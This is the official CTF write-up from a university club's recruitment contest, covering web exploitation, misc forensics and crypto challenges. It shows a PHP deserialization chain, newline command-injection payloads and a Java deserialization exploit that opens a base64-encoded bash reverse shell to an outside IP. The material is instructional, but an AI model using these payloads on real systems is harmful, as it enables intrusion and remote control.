12月协会招新 Official

官方 wp

Posted by JBNRZ on 2022-12-14
Estimated Reading Time 43 Minutes
Words 8.6k In Total
Viewed Times

Web

php_start

  1. 打开页面,看到图片

  2. 想到要添加cookie来证明自己是admin,抓包看看有没有提示参数

图片

图片

  1. 参数就是user,接下来改包:user=admin

图片

  1. 成功通过,又看到

图片

  1. 远程访问地址不被允许,那么通过Referer 将自己的地址改为本地:Referer: 127.0.0.1

图片

  1. 成功绕过,又看到要求

图片

  1. 听话,修改请求方式

图片

  1. 然后我们就得到了一串php代码

图片

  1. 审计代码后发现最后要做的就是通过MD5碰撞绕过,注意此处是 === 强比较利用数组绕过
1
cbc1[]=1&cbc2[]=2&cbc3[]=1&cbc4[]=2
  1. 然后通过get传参cmd执行命令
1
system('cat /flag');
  1. brupsuite没打通可以用hackbar试试
    图片

反序列化来送分了

  1. 访问后得到代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
//flag is in flag.php
class A 
    private $a;
    function __destruct(
        ($this->a)(); 
    }
}
class B {
    private $b;
    public function __invoke(){
        echo $this->b;
    }
    public function __toString({
        return file_get_contents($this->b);
    }
}
if (isset($_GET['a'])) {
    unserialize($_GET['a']);
else {
    highlight_file(__FILE__);
}
  1. 代码审计
1
2
3
4
5
6
7
8
9
10
11
在接受参数 a 之后,进行反序列化操作
首先我们查看可以达到我们目的的代码(获取flag.php的内容),即序列化终点
很明显,file_get_contents($this->b)可以读取文件内容,
反推谁可以掉用__toString()(当一个类被当作 str 输出时会调用 __toString)
为 class B __invoke() 中 echo 输出了str
调用 __invoke() (当类被当作函数使用时会被调用)
为 class A __destruct() ($this->a)();
当函数类被销毁时,__destruct() 会被自动调用

则pop链为:
A.__destruct()->B.__invoke()->C.__toString
  1. 写代码,因为 A B 中的属性都为 private,在序列化时会生成不可打印字符,所以先进行urlencode
1
2
3
4
5
6
7
8
9
10
11
<?php 
class A {
private $a;
}
class B {
private $b;
}
$c = new B('php://filter/read=convert.base64-encode/resource=flag.php');
$b = new B($c);
$a = new A($b);
echo urlencode(serialize($a))
  1. 在这里有个坑,在 读取 .php 文件时,会执行其中的内容,也就是如果 flag.php 中内容为赋值语句时,我们并不能看到 flag的值,所以要将其base64编码,利用伪协议读取
1
php://filter/read=convert.base64-encode/resource=flag.php
  1. 传递参数a后将得到的内容base64解码即可得到 flag(果然是赋值

dig

  1. 简单命令注入,一个查询域名的小demo,多次测试发现域名输入的地方参数校验很严格,抓包看看发现并未对type做过多校验,随便改下type发现不难推测出是这样拼接命令的
1
dig type domain
  1. 简单测下发现domain有严格的校验,type也ban掉了这些
1
; $ & | / * `
  1. 但可以换行截断,使用 # 注释掉后面的内容, 查看下当前位置
1
{"domain":"baidu.com","type":"\npwd\n#"}

图片

  1. / ban了使用 cd .. 跳转至根目录
1
{"domain":"baidu.com","type":"\ncd ..\ncd ..\ncd ..\nls\n#"}

图片

  1. 读flag
1
{"domain":"baidu.com","type":"\ncd ..\ncd ..\ncd ..\ncat ffFFLl11AaAag9g99gGg\n#"}

图片

first_java

(防ak题)

首先题目给出了app.jar,我们使用Java反编译工具jd-gui来得到源码。(把jar包拖到jd-gui.exe就可以啦)

图片

首先看看jar包里有啥~

图片

辨识出来是springboot项目(一个轻型应用框架)

图片

看看controller层

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    @GetMapping("/")
   public String home() {
       return "Hello Java!";
  }
   @RequestMapping("/vul")//配置路由 访问ip/vul即进入这个函数
   public String read(@RequestParam(name = "data", required = true) String data) throws Exception {

       data=data.replace(" ","+");
       //System.out.println(data);
       byte[] bytes = tools.base64Decode(data);
       InputStream inputStream = new ByteArrayInputStream(bytes);
       ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
       objectInputStream.readObject();
       return "oHHH~ this is a secret ";
  }

可以看到是一个Java反序列化的入口,将输入的data进行base64解码后进行反序列化。
然后找调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
@Repository
public class User implements Serializable {
   private String name;
   private User(){};

   public void eval() {
       try {
           new exec(this.name).runcmd();
      } catch (Exception e) {
           throw new RuntimeException(e);
      }
  }
   public String toString(){
       this.eval();
       return "";
  }
}

public class exec implements Serializable {
   private String cmd;
   public exec(String s){this.cmd=s;};
   public String runcmd() throws IOException {
       Runtime runtime = Runtime.getRuntime();
       runtime.exec(this.cmd);
       return "";
  }
}

这里显然就是User的toString方法到eval方法再到exec类中的runcmd方法。(为什么说是first_java就是因为这里不用追调用链,会java反序列化就出了)而toString方法怎么触发,搜索引擎一搜就能搜到。即BadAttributeValueExpException 类。(BadAttributeValueExpException:反序列化的时候会去调用成员变量val的toString函数)
综上,我们只需要构造一个BadAttributeValueExpException 类对象,把其成员变量val赋为User类对象,其中User对象的name成员变量为要执行的命令。(这里由于无回显所以用一个反弹shell的技巧)

关于java反序列化链的构造可以先了解Java反射、看readObject()方法等等。再不会直接QQ找1manity,我手把手教~~

下面给出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.example.demo;

import com.example.demo.classes.User;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;

public class exp {
   public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
       Field field = obj.getClass().getDeclaredField(fieldName);
       field.setAccessible(true);
       field.set(obj, value);
  }
   public static void main(String[] args) throws Exception {

       Class c=Class.forName("com.example.demo.classes.User");
       Constructor con=c.getDeclaredConstructor();
       con.setAccessible(true);
       Object u=con.newInstance();

       setFieldValue(u,"name","bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMTIyLjIyMS8zMzQ1NyAwPiYx}|{base64,-d}|{bash,-i}");


       BadAttributeValueExpException val1 = new BadAttributeValueExpException(null);
       setFieldValue(val1,"val",u);
       ByteArrayOutputStream barr = new ByteArrayOutputStream();
       ObjectOutputStream oos = new ObjectOutputStream(barr);
       oos.writeObject(val1);
       System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
  }
}

在自己的服务器上起nc -lvp 33452,提交payload
图片

图片

可以看到连接到目标机了~ cat /flag就好了~

ezJWT

pankas 的blog

图片

大致看明白之后写代码,只需换换具体的参数,替换为提供的 public key

设置请求头

1
Authoriztion: Bearer xxx

Misc

签到

下载图片改高,查看不同通道,能看清就行

又是一个签到题

有关明文攻击的详细

http://www.werewolfcjj.top/2022/07/28/%e5%8e%8b%e7%bc%a9%e5%8c%85%e6%98%8e%e6%96%87%e6%94%bb%e5%87%bb%e6%b5%85%e5%b1%82%e7%90%86%e8%a7%a3/

掩码爆破,可以猜到时0RAYS

签二送一

彩蛋题,图一乐,平台的源码里隐藏了一个页面,

图片

拿到的是一段[emoji-aes](file:///C:/Users/19731/Desktop/misc%E5%B7%A5%E5%85%B7/emoji-aes-main/emoji-aes-main/index.html#),秘钥就是前两个签到题的flag各少的一个字母拼接一下

智能卡

出题的时候想到协会在两年前出过一道ic卡的题,然后刚好又在一次行业赛上碰到了智能卡的题,就拿来改了改出成题,拿来考考对陌生文件的分析,以及2进制文件数据处理。

题目其实非常简单,只要知道智能卡的逻辑

查看ic卡的扇区结构

图片

这里其实并不一定需要工具,用工区可以更直观的吧扇区分割出来,用010,winhex是一样的

除了0扇区外,后面的是数据部分,看到每个扇区的数据部分有2个区域的不同,一个区域应该对应一个字符

图片

搜索一下ic卡的结构

https://blog.csdn.net/hiwoshixiaoyu/article/details/104048663

发现这是M1卡,每一扇区最后绿色的两部分为秘钥

图片

因为每一块的密文只有两字节,那么每一次秘钥调用也只需要用到两字节,每一个扇区第二行的密文对应秘钥A的后两字节,第三行1的密文对应秘钥B的后两字节,异或一下即可

压缩包是一个套娃的伪加密,这里考的就是zip伪加密的原理和脚本的编写能力,同时可以看出每一层的压缩包的名字也有端倪,按顺序全部提取出来可以发现是base32编码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import zipfile,os

j = 0
name = "GRAT.zip"
c = ""
while(1):
    c += name[:4]
    print(j)
    f = open(name,"rb")
    data = f.read()
    f.close()
    os.remove(name)
    counts = data.count(b"\x50\x4b\x01\x02")
    pos = 0
    for i in range(counts):
        pos = data.find(b"\x50\x4b\x01\x02",pos+1)
    data = data[:pos+8] + b"\x00" + data[pos+9:]
    f = open("fake_zips0.zip","wb")
    f.write(data)
    f.close()
    fz = zipfile.ZipFile('fake_zips0.zip', 'r')
    name = fz.filelist[0].filename
    fz.extractall()
    fz.close()
    os.remove("fake_zips0.zip")
    if("flag" in name):
        break
    j += 1
print(c)

#c=GRATKQJUGM2TKNCCGRCDIQRVGI2EENJSGQ4TKOBVGU2TINJTGU2TIQZUGU2TSNBVGMZDGNRVGM2TGNBZGU3DIOBUGU2DSNJUGRATKMRUIE2TMNBTGQ3DINJVGEZTENCGGRBDKMRUGU2TINBRGU2TIQZTGI2EENBVGU4TKNJTGQ2TENBTGU3DINZUGY2DQNBVGQ4TKNRUIMZTENCBGVATIQRUGY2EENCEGQZTKMRVGA2ECNBZGU2DIMZVGQ2TGNJVGRCTIRBVHE2DKMZUGMZDKMZVGI2DONBWGQ4DINRUHE2TGNCBGUYTIQJVGYZTKNBWGQ2TKMRVGM2EMNBZGUZDKMRVGQ2DCNJVGRBDKNJUII2DKMZSGQ2TGNBVGI2DGNJWGQ3TIMRUHE2TONJVGU3DIQZTGI2ECNKBGQZTKNJUII2EINCCGRCTIQRVGI2ECNBVGQ3TKNBVGM2DKNCDGQ2TKOJUGY2DGMZSGUZTKMRUG42ECNBYGQ2TIOJVGY2ECNJSGRATKNRUII2DMNCCGM3DKMZUIY2DSNJWGRCDKNBUGE2TIMZSGU2TIQRVGYZTINJVGM2DKMRUGM2TMNBXGQ3DIOBUGU2DSNJVGRBTKOJUIE2UCNCCGQ3DIMZTGY2TGNCFGRCTIQJUHE2TINBTGU2DKMZUGY2ECNBVGU4TINJTGQ2TMNBTGU3TIOJUIE2DQNBWGQ4TKNRUIMZTENCBGVATIMZUGY2EENCEGUZTIRRUHE2TENBZGU2DIMJVGU2EGMZSGRBDINJVIE2TKMZUGUZDIMZVIE2DONBSGQ4DKNJUHE2TKNCBGU2TIQJVIE2EENBWGRBDIRBUII2EMNCCGUZDIQRVHA2TKNJUGUZTINJUIE2TKNJZGQ3DIMZVGY2DGNJXGQ4TIQJUHA2DKNCCGUZTIQJVGE2ECNKBGU3DINRUGMZTMNJTGRDDIOJVGY2DSNJUGQYTKNBUIMZTENCCGU3DGNBVGUZTINJSGRBDIQJUG42DMNBXGU3TKNJVGU2TGNBTGRATKQJUGM2DMNCCGRCDIMZUIY2EENJSGRBDKNBUGE2TINJTGU2TIQJVGU2TSNJVGM2DKNRUGM2TGNBZGU3DIOBUGU2EENJVGRATKMRUIEZTKNCCGQ3DIMZUIQ2EENCFGUYDIQJUHE2TQNJVGU2DKNBUII2EENJWGM2TINJTGQ2TMNBTGRATINZUGI2DQNBYGU2TKNRUIE2TGNCBGVATIMZUG42EMNCEGQZTIRRUIU2ECNBZGU2DIQRVGQ2TGNJVGRATINJVHE2DMNBTGM3DKMZUIU2TANBWGQ4DINJUII2TENCBGUZDIQJVIE2TMNBWGRBDIRBVGM2EMNBZGUZDIRBVGQ2DCNJUGRBTGMRUIE2TKNKBGQ2TGNBVGY2DGNCFGQ3TIMRUIE2DONJVGU2TIQJVGY2ECNKBGRBDINRVGM2EINBTGUZTIOJVGI2EENJUGQYTKNBVGM2DKNBZGU2TKOJVGUZTINJSGQZTKMZUHE2TENBYGQ2TIQRVGM2ECNJRGRBDINRVGY2DMNCCGRCDKMZUIU2TANCBGQ4TKNBUGM2TINJTGU2TIQJVGU2TSNBVGM2DKNRUGM2UCNBXGQZDIOBUGU2DSNJVGRATKNJUIE2UCNBTGQ3TINZUIQ2DGNCGGRCTIQJUHE2TINBXGU2DKMZVGU2EIMZUGU4TKNJTGQ2TMNBTGU3DINZUIE2DQNBVGRBDKNBUIE2TENCBGM2TIQRUGY2DKNJRGUZTIRRUII2TMNBTGU2DIMJVGU2EGNCCGRBDINJVHE2TKMZSGM3DKMZUIE2DONBSGRATINJUHE2TKNJTGQ2DIQJVIE2DGNJWGRBDIRBUGM2TGNCCGUZDIQJUGU2DKNJUGUZTINRUHE2TKNJZGQ2TGNBVGY2DGNJSGQ3TIRJUHA2DMNBZGU2TIQJVGI2ECNJWGM2TINRUGM2EINCCGRDDIOJVGY2DONJUGQYTKNBVGM2TKNCCGU2TGMRVGUZTINJSGQZTKNRVGA2ECNBYGQ2TIOJVGY2ECNJTGRATKQJUGM2DKMZSGRCDIQRUIU2EKNCBGQ4TKNBUG42TINJTGQ2TIQZUGU2TSNBVGM2DGNRVGM2TMNBXGUZDIOBUGY2DSNJWGRATKMRUIE2UCNCCGQ3DINJVGI2DGNCFGUYDIQJUGU2TINBRGU2TIQRVGU2EENKBGQZDINJTGQ2TMNBTGVATINZUGI2DQNBXGU2TKNJVGM2DINCBGU3DGNJUGY2TGNCEGRBDIRJVGA2ECNCBGQ2TIRRVGQ2TGNBWGRATINJVHE2TKMZSGMZDKMZVGY2TANBWGQ4DINRUHE2TKNCBGUYTIQJVGYZTKNBWGRBDIRBUGM2EMNBZGU3DINJVGQ2DCNJUGUZTKNJUII2ECNBSGU2TGNBVGI2EENBWGQ3TIMRUG42TONJVGU2TIQJVGI2ECNJWGM2TINRUGM2EINCCGRCTIRJUIE2DSNJYGU2TKNBVGM2DMNBZGU2TKOJUGUZTIMZWGUZTKMRVGA2DMNBYGQ2TIOJVIE2UCNJSGRATKQJUII2DMNBTGRCTIQRUIY2EENJSGRCDKNBUGE2TKNCDGMZDIQJVGYZTINJVGM2DKMRUII2DMNBXGQ3DIOJVGY2DSNJVGUZTINBUIE2UCNBTGQ3TINZUIQ2DGNCGGUYDIQJUIE2DKNCCGU2DKMZUGY2ECNBVGU4TINRUGU2TMNBTGU3DIRRTGU2DQNBVGRBDKMRUIE2TCNCBGM2TIQRUGY2EENCEGQZTIRRUHE2TENJWGU2DIMZVGQ2TGNBVGRBDKNRTGU2DKMZUGUZDIMZVIE2DONBSGQ4TKNRUHE2TKNCBGUZDIQJVIE2EENBXGU3TIRBUGM2EMNCFGRATIOJVHA2TKNJUGUZTKNJUIM2DKNJZGQ2TGMRTGY2TGNJWGQ3TIQJUHA2DKNBZGU4TKQJVGE2EENBWGRBDINRUGM2EKNBTGRDDIOJVGI2EINJUGQYTKNBTGI2TKNCCGU2TKQJVGUZTINJSGRBDINRUG42DMNBXGU3TKNJVGU2TGNBTGRATKQJUII2TKNCCGRCDIMZVGI2EKNCBGQ4TKNBUGU2TINJTGQ3DIQJUGYZTKNBVGM2DGMRVGM2TENJQGRATIOBUGU2EENJXGRATKMJUIEZTKNCCGQ3DIQRUIQ2TGNCGGQ4TKMRUG42TINBTGU2DGMRUGU2EENJVGU4TKNJTGQ2TMNBTGUZDINZUGY2DONJYGU2TKNRUIE2TENCBGVATIMZVGU2TGNCEGQZTIRRUII2TENBXGU4DKMZVGQ2TGNBVGRBDKNRTGU2DKMZUGUZDIMZVGY2DONCBGQ4DINJUHE2TINCBGUZDIQJVIE2TMNBWGRBDGNJTGI2EMNBZGU3DIMZVGQ2DCNJVGRBDKNJUII2DKNJZGU2TGNBVGI2DINCDGQ3TINRUHA2DKNBZGU3DIQZTGI2ECNKBGQZTINRVGM2EINBTGUZDIQRVGI2EENJUGQZTKNBVGM2TKNCFGRCDKOJUGUZTIMZSGUZTKMRVGA2ECNBXGU4DKNJVG42ECNJSGRATKNRTGU2DMNCCGM3DKMZUIY2DSNJSGU3DKNBUGM2TINCDGRBDIQRUGUZTENBVGM2DKMRUGM2TMNBXGQZDIOJVG42TKNJWGRATKMJUIE2UCNBTGU2TIQRUIQ2EENCFGRBDKMRUIE2DKNBXGU2DKMZUGU2EENJWGM2TINJTGQZTENJTGU3DKMBUGI2DONJUGQYTKNJUIMZTENCCGRATIMZUGUZTINJSGRBDIRJUG42DENBZGU2DGMRTIQZUIM2E

然后cyberchef点魔术棒就一把嗦了

图片

图片

解到最后是our secret is P@ssW0rdddd

这里其实已经非常明显了,考虑到大部分应该没有接触过oursecret隐写的文件,所以直接把oursecret写出来了,并且也给了hint说是一个隐写工具。

如何判断oursecret隐写:最为明显的是oursecret隐写后在文件尾会多出一块冗余

图片

并且这块冗余的最后基本都是些=ijkn这类的,如果看到这样的特征基本就可以断定是oursecret隐写

然后输入解出来的秘钥解密

图片

解出来是

1
2`+u(3+??*/RgXs1G(Fn0fUaFAi2@rAN)GVAn>L10fEW$

然后当密码去解压trueflag.zip就行了

Crypto

easy_function图片

然后用z3解方程

1
2
3
4
5
6
7
8
9
10
11
12
13
from z3 import *
from Crypto.Util.number import *
n = 21928891896899960950392893365236605503279690237474569965982922720744305962320335010638816672714631011066585408342369387663212989097520629021290718105270318620702371793206831675172174120800302955870091962747219216394227262037151694781326918318138121061565772767665659258433028805885935729831054173258528040810045721293311218986877917670353159132742433422507831851868207187476863688495612468553672355633945774910535806978177899944261678998616004465860635322030703317405582992022542735932829444625776312541440461054311689710981591721280865641801009057941271486926623067526953733793965150279997155686085197872848764468507
a = 11352975818488773632516662379050881019539603300890951917937121582672196122693003063420907250627064085541316522293022833209613022495120415847972846376717686488517664611672001245628081506487088097440644808405476957725430228958682772839066685877087018574214413755448765842309018692485163126827556334087203139913049979640413807547128740327916713383717759092827807754957519840348774332056128700237905777108593512834138111563723633497231920402345794274281143432988522454550089285411566412716397125570716835109485713832671339014034307928604820806256234137654610191737223294737010347663800893829466596607996656852741448943498
c = 14598974015747915044527068539062111884998879191503543752410904428118715294000388051202779071115108058918826242688408803789439331919065181636847863682683656129087767495991269939580088226232165674817848995264157529303270154492195014608777164156309670361919677925077769871530991685427719620755607651682795272414903783977971077188607161543666434603226515350211906135104528708144117363127762817983777408073418200556188261953054816170878245396329265390264065855327165703380375112397382998822080606662851756354306138211010066966186635915501861926285333350580062053998894296874336838112663758743149809751815801804787080440244
aa = inverse(a, n)
print(aa)
p, q = Ints('p q')
sol = Solver()
sol.add(p*q == n)
sol.add(2023*p+666*q == aa)
if (sol.check() == sat):
print(sol.model())

好像n可以直接分解。。。

easy_mod

图片

但是有很多解,应该出成交互会好一点。不好意思。

ec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from random import *
from Crypto.Util.number import *
from os import urandom
import hashlib

p = getPrime(128)

def get_ec(p):
    while 1:
        a = randint(0,p)
        b = randint(0,p)
        c = randint(0,p)
        try:
            E1 = EllipticCurve(Zmod(p),[0,a,0,b,c])
            E2 = EllipticCurve(Zmod(p),[0,c,0,b,a])
            print('a,b,c = ',a,',',b,',',c)
            return E1,E2
        except:
            continue

def get_point(E):
    while 1:
        gx = Integer(randint(0,p))
        try:
            G = E.lift_x(gx)
            G = E(G)
            return G
        except:
            continue

def create_door(E1,E2):
    while 1:
        try:
            gx = Integer(randint(0,p))
            G1 = E1.lift_x(gx)
            G2 = E2.lift_x(gx)
            if int(G1[1]) == int(G2[1]) and int(G1[0])-1:
                return G1[1]
        except:
            continue

print('p=',p)

E1,E2 = get_ec(p)
big_big_key = create_door(E1,E2)
flag = 'cbctf{'+hashlib.md5(str(big_big_key).encode()).hexdigest()+'}'

'''
p= 207645766307658280243524869078615488969
a,b,c =  187066701571299990207395889408391546149 , 135843914716953605032236946698898119745 , 88777392568564840049560519799361499959
'''

根据加密代码,题目用同一个x坐标在E1曲线与E2曲线上分别生成了一个点,也就是说这个点可以同时适用两条曲线的坐标公式,相当于是在有限域上解一个等式问题。根据曲线公式,对于gx(下文中为了表示方便,表示为X),有
$$X^3+bX^2+cx=cX^3+bX^2+aX$$

那么很显然,在对等式进行调整过后,p域上,满足

$$X^2=1$$

注意题目中出现了对点坐标的判断,规定点的x坐标不可以等于1,那么有

$$X=p-1$$

接下来,题目就变成了一个二次剩余问题,如果有sagemath环境的话,用题目中的代码把gx直接提到曲线上就可以解出flag(应该是默认有个先置顺序),直接解二次剩余的话,y有两个解,可以每个都尝试一下。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
p= 207645766307658280243524869078615488969
a,b,c =  187066701571299990207395889408391546149 , 135843914716953605032236946698898119745 , 88777392568564840049560519799361499959
E1 = EllipticCurve(Zmod(p),[0,a,0,b,c])
E2 = EllipticCurve(Zmod(p),[0,c,0,b,a])
G1 = (E1.lift_x(p-1))
G2 = (E2.lift_x(p-1))
assert int(G1[1]) == int(G2[1]) and int(G1[0])-1

import hashlib
big_big_key = int(G1[1])
flag = 'cbctf{'+hashlib.md5(str(big_big_key).encode()).hexdigest()+'}'
print(flag)
#cbctf{0a5be20dad452570d51bd42e00292a6c}

ecc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from random import *
from Crypto.Util.number import *
from os import urandom
from secret import flag

p = getPrime(128)

def get_ec(p):
    while 1:
        a = randint(0,p)
        b = randint(0,p)
        c = randint(0,p)
        try:
            E1 = EllipticCurve(Zmod(p),[0,a,0,b,c])
            E2 = EllipticCurve(Zmod(p),[0,c,0,b,a])
            print(a,b,c)
            return E1,E2
        except:
            continue

def get_point(E,msg):
    while 1:
        gx = Integer(bytes_to_long(msg.encode()+urandom(2)))
        G = E.lift_x(gx)
        try:
            G = E.lift_x(gx)
            G = E(G)
            return G
        except:
            continue

def init(E1,E2,flag):
    msg1 = flag[:len(flag)//2]
    msg2 = flag[len(flag)//2:]
    while 1:
        try:
            G1 = get_point(E1,msg1)
            break
        except:
            continue
    while 1:
        try:
            G2 = get_point(E2,msg2)
            return G1,G2
        except:
            continue

assert flag.startswith('cbctf{') and flag.endswith('}')

E1,E2 = get_ec(p)
e = getPrime(64)
G1,G2 = init(E1,E2,flag)
K1 = e*G1
K2 = e*G2
print('e:',e)
print('p:',p)
print('K1:',K1)
print('K2:',K2)

'''
96800431497710726605945048550355045839 130766689476837689277581917425616756217 180640604367209270515408291876087334062
e: 17367618875751077161
p: 190998593339716316151078226506064603043
K1: (59584322764384903445849449855575599841 : 54658673737000795804468838462378804937 : 1)
K2: (12782830386513954778953132775115001931 : 47450406430274443963495981038563598183 : 1)
'''

这题开始,我们就正式进入了椭圆曲线的世界啦。题目把flag分为两部分,加几个随机字节后作为G1、G2的坐标将两点分别乘e,给出了乘法后的结果K1、K2。
对椭圆曲线求阶感兴趣的可以自行研究Schoof’s algorithm等求阶算法,在sagemath当中,对确定的运算和元素求阶可以使用order()函数。譬如对于素数p,元素在p域上进行乘法运算的阶的最小公倍数(也就是最大阶)是p-1,那么对于椭圆曲线的加法运算,在求出特定点所对应的阶之后,想要还原这个运算,同理只需要计算e在阶上的逆元。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
a,b,c = 96800431497710726605945048550355045839 , 130766689476837689277581917425616756217 , 180640604367209270515408291876087334062
e = 17367618875751077161
p = 190998593339716316151078226506064603043
K1 = (59584322764384903445849449855575599841 , 54658673737000795804468838462378804937)
K2 = (12782830386513954778953132775115001931 , 47450406430274443963495981038563598183)
E1 = EllipticCurve(Zmod(p),[0,a,0,b,c])
E2 = EllipticCurve(Zmod(p),[0,c,0,b,a])
K1 = E1(K1)
K2 = E2(K2)
G1 = K1*inverse_mod(e,int(K1.order()))
G2 = K2*inverse_mod(e,int(K2.order()))

import libnum
print(libnum.n2s(int(G1[0])))
print(libnum.n2s(int(G2[0])))
#cbctf{good_at_ecc}

eccc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from random import *
from Crypto.Util.number import *
from os import urandom
from secret import flag

print(len(flag))

def get_ec(p,a,b,c):
    while 1:
        try:
            E = EllipticCurve(Zmod(p),[0,a,0,b,c])
            return E
        except:
            continue

def get_point(E,p):
    while 1:
        gx = Integer(randint(0,p))
        try:
            G = E.lift_x(gx)
            return G
        except:
            continue



assert flag.startswith('cbctf{') and flag.endswith('}')

a = randint(0,2^200)
b = randint(0,2^200)
c = randint(0,2^20)
print('a,b,c = ',a,',',b,',',c)

m = hex(bytes_to_long(flag.encode()))[2:]

for time in range(45):
    p = getPrime(128)
    E = get_ec(p,a,b,c)
    print('p[',time,']= ',p,sep = '')
    G = get_point(E,p)
    K = G
    print('G[',time,']= (',G[0],',',G[1],')',sep = '')
    for i in range(len(m)):
        K *= 23
        K += int(m[i],16)*G
    print('K[',time,']= (',K[0],',',K[1],')',sep = '')
'''
54
a,b,c =  687319167646853214370559303260842530370893406669894913606612 , 358491157355864809837889997984854369704781998197146538945040 , 524574
p[0]= 264804272115587071185116146847649203497
G[0]= (60159294510533829481104641612678134194,50116671734330950371883807411446156409)
K[0]= (222198374809570288602478875405994172604,83740661354034096526314230872043080355)
(后半部分数据由于篇幅原因省略)
'''

这题是想带大家领略一下Pohlig-Hellman,也算是ctf当中ecc最常见的一个攻击方式,由于e不变,每次加密时的阶已知,可以采取分解order求取e模小因子上的结果、再合并所有order上小因子(exp当中设定小因子为120000000)进行crt。
exp如下

Pohlig-Hellman

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
a,b,c =   687319167646853214370559303260842530370893406669894913606612 , 358491157355864809837889997984854369704781998197146538945040 , 524574
G = [0 for i in range(45)]
K = [0 for i in range(45)]
p = [0 for i in range(45)]
p[0]= 264804272115587071185116146847649203497
G[0]= (60159294510533829481104641612678134194,50116671734330950371883807411446156409)
K[0]= (222198374809570288602478875405994172604,83740661354034096526314230872043080355)
p[1]= 290298047049325719109215428298326583127
G[1]= (122096272740798462720564420163650522160,34058922245026059782651107723265093797)
K[1]= (140783049322999810687406667202009533647,173454036653893078332586321870759197502)
p[2]= 252606264817670540022614154772597757801
G[2]= (19413408398728816622795786081246609338,130438284947306379073231699329785790353)
K[2]= (238111547920180217005348637476885398211,13964457149797071599058649209421520214)
p[3]= 291352300164661467317100467008130986727
G[3]= (139608706620449068306329853062872256770,43236848678630113992853922130710471814)
K[3]= (185427880773205478061625932963539754881,219978802780001315748040378105105455822)
p[4]= 188115864813366694533791367220863898543
G[4]= (77362530096388357183280546068832236485,133805045314630131804781858608524431286)
K[4]= (34133534018393044424755246678524581084,81707219139193330533390442219621612307)
p[5]= 324289194404068448588418004096810370867
G[5]= (316803457087032680022746594356681678143,184772390515489722884529372281707764364)
K[5]= (79527965584526736052162080874203653603,205456022261049971869483302336204996727)
p[6]= 189839850475882995548307143384967434651
G[6]= (128642656963086186217529684367454640117,29562802705065605410525138705023327143)
K[6]= (67717231137947645202151392180317230301,129123369300049032539588302644495291935)
p[7]= 225454530293950875223052760723997460813
G[7]= (87642967047470349599786479119924902265,137994181424966391042762921442559295424)
K[7]= (34014114659264482297147418347824813688,59189817755484589478661448421044212949)
p[8]= 170644839824203800842403181301066052049
G[8]= (119287662654969974023015247843359703282,26866016941771451968516871201213152488)
K[8]= (111523426305138931226656172565557518823,153370374878838378088593795155640273252)
p[9]= 312986399702990042992683456570372842039
G[9]= (187186238783136123861505945430811612728,63816204988542742315384473496829010657)
K[9]= (107880639092411419760761130954455922457,87683007182558348620651139674590062533)
p[10]= 291004720611515485454799257299646616881
G[10]= (183870183730636881944714856646756407092,59910523415296475536129461759344499053)
K[10]= (77562620521998353417937202025930313549,285472896766170076536742796267469317687)
p[11]= 311777111481198718050356262153659162893
G[11]= (205232227006325559362590924243916241252,205856434255348961640114657564408219888)
K[11]= (130736369124918253643065659608971319437,55212961669844836285345118121272084429)
p[12]= 171374842678365094849802043013171918259
G[12]= (34462260491705530733129314902462634854,87094801116574092273009332472855928633)
K[12]= (42846257830950052101813183755725235242,108863478482768277784538046787235747057)
p[13]= 231873845327095940151792269566298960393
G[13]= (165836124867338274522581106235033679723,15106909536292426813526842191119897021)
K[13]= (87904755466281886644458363418154960844,62372208413233448132901286025794488120)
p[14]= 215480484326242099686745927883167302319
G[14]= (197693188266118124666710206760752922452,135631899331445540031686390870013836500)
K[14]= (22692576131892797081083870476872078164,89494316768036916107163107078425515549)
p[15]= 285801146384402891385682853901377959187
G[15]= (64355202665741552844921944729312138817,34451617363290253974897499176008458901)
K[15]= (269336175441064400339307834157818730247,62859878313829053905884243988343167025)
p[16]= 278571568730891963564866351218943206709
G[16]= (3863676083148214535259826455010457541,198758160513436479535527362263826074041)
K[16]= (66069324769996007775098533285997683086,60027774232944307479788092649009555183)
p[17]= 215742873825050302809963942885163484387
G[17]= (47775291224383087291223252124753233766,125302223866068916544061385808666265611)
K[17]= (162525594763850325319910061825049999137,75417530680554613984478059908553507726)
p[18]= 323258390279866813056798606093915870737
